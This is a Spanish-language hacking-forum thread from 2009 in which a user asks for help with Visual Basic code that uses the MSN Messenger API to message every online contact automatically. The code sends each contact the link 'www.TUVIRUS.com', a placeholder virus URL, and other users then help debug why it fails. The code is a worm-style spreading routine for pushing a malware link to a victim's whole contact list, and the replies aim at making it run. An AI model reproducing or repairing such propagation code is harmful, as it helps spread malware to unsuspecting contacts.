Hola A todos
Bueno navegando por el foro encontre este tema
(No revivi ese Tema Porq Era antiguo)
lo cual vi un code lo cual lo pruebo y siempre me manda error
Public WithEvents msn As MessengerAPI.Messenger
Private Sub Form_Load()
Set MsgrUIA = New MessengerAPI.Messenger
For Each user In MsgrUIA.MyContacts
If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then
Set venta = MsgrUIA.InstantMessage(user)
SendKeys "www.TUVIRUS.com" 'url
SendKeys "{ENTER}"
SendKeys "%Z"
End If
Next
Set MsgrUIA = Nothing
End Sub
lo cual siempre me manda este error
Set MsgrUIA = New MessengerAPI.Messenger
tengo activado en reference
Messenger API Type Library
Messenger Private Type Library
Messenger Type Library
Pero Siempre me manda el mismo error
Bueno Espero Alguna Respuesta
TAlves tenga que arreglar el Code o HAcer otra Cosa =)
PD: Lo POsteo en esta Zona POrque El S.Code es en el lenguaje vB ;) Salu2[/b]
Haz incluido las api del msn?
Cita de: 嘇sZeus嘇 en 23 Julio 2009, 02:59 AM
Haz incluido las api del msn?
Si lo Inclui
PEro aun asi me sige dando ese error
estas seteando mal:
Set MsgrUIA = New MessengerAPI.Messenger
deberia ser:
Set msn = New MessengerAPI.Messenger
no hace falta tener referenciado esas 3 cosas...con solo 1 te debe andar...
saludos.
Cita de: seba123neo en 23 Julio 2009, 03:23 AM
estas seteando mal:
Set MsgrUIA = New MessengerAPI.Messenger
deberia ser:
Set msn = New MessengerAPI.Messenger
no hace falta tener referenciado esas 3 cosas...con solo 1 te debe andar...
saludos.
Lo Probe De la Forma que me DIjiste
Pero aun asi me siga dando ese Error
(http://www.mundoimg.com/imagenes/otros/191887_mundoimg_xdxdxx.jpg)
Si no me equivoco, se que desde que implementaron una nueva version del messenger o algo asi era, ha dejado de funcionarle a mucha gente este metodo ...
Por supuesto que esto no es para LiveMsn. Es para el windows msn viejo.
mMMMMMMMMM
Yo Uso Messenger 7.5
En este Caso Funcionara¿ Mmm........
Creo que todavía funcionaba para esa versión.
Igualmente no creo que ese sea el error, sino más bien que falta declarar algo.
Cita de: 嘇sZeus嘇 en 23 Julio 2009, 03:44 AM
Creo que todavía funcionaba para esa versión.
Igualmente no creo que ese sea el error, sino más bien que falta declarar algo.
mmmm
de echo ya declaro Todo
Pero aun ASi NAda... NO se que hice MAl =(
mmm pero no decis que error....es de ¿memoria insufuciente por las dudas? esto ya se hablo no se sabe porque dejo de funcionar de un dia para el otro...yo haba realizado un programa para el messenger y ahora no anda mas , pero antes andaba y siempre con el mismo messenger...¿raro no?
chequea este post donde se hablo..
Problema api messenger (http://foro.elhacker.net/printpage.html;topic=240298.0)
La Messenger API Type Library hace referencia a:
C:\Archivos de programa\Messenger\msmsgs.exe
La version 4.7 de Windows Messenger y funciona hasta en la última versión.
Una de las causas por las que da error es por el IE, un modo sencillo de comprobarlo es crear un script en vb script invocando la api del msn y ahi te mostrará el código de error, lo más probable es por alguna actualización del IE pero siguiendo esos pasos lo identificarás.
Deve aver algun otro metodo xD
en este caso SOlo me keda usar SendKeys =)
con un .vbs tira el mismo error que en visual basic memoria insuficiente...pero yo me acuerdo haber probado en esos dias en los que se escribio el post que puse el link....lo habia probado y el programa andaba de lo mas bien, listaba los contactos , se logeaba...hacia todo...y a la semana lo probe y no andubo mas.
(http://img198.imageshack.us/img198/9945/84928622.jpg)
fijarse donde dice "Código"
lo digo porque en un Win XP SP3 y Win Vista SP1 sin actualizaciones de IE corre perfecto, luego de actualizar al IE 8 da este tipo de error.
Una cosa, antes yo no podia usar este metodo sino tenia el messenger version x ( no me acuerdo la version, pero se que fue uno de los primeros en salir ) lo tube que instalar para poder usar la API, y tambien cree un programa ( varios ) con la API y me empezo a tirar ese problema ahora porque no tengo idea, pero yo diria que se implemento algo por las propagaciones que usan este metodo.
como dijo antes codelive, el messenger que contiene la api o mas bien el .exe ActiveX que la contiene a las fucniones es el de la version 4.7 , la que viene por defecto con el windows...pero no importa si tenes instalado ademas de esa la version 7.5 o la 8.xx, porque a mi me andubo perfecto cuando tenia la 8.xx pero debe ser como dice codelive alguna actualizacion de internet explorer debe haber cambiado algo...
IE? .. si te sirve de dato yo no uso IE :rolleyes:
Cita de: 83-77-84 en 23 Julio 2009, 07:24 AM
IE? .. si te sirve de dato yo no uso IE :rolleyes:
Si lo desinstalaste, deberias fijarte si la API del MSN tiene alguna dependencia con IE, si solo "no lo utilizas" pero sigue instalado en tu Win existen las "actualizaciones automáticas" :rolleyes:
En todo caso voz mismo puedes ver el porque del error en tu máquina con el script que mencione, un error por IE no se aplica a todas las PC's, la mayoria de los casos esta dada por errores humanos y falta de conocimiento.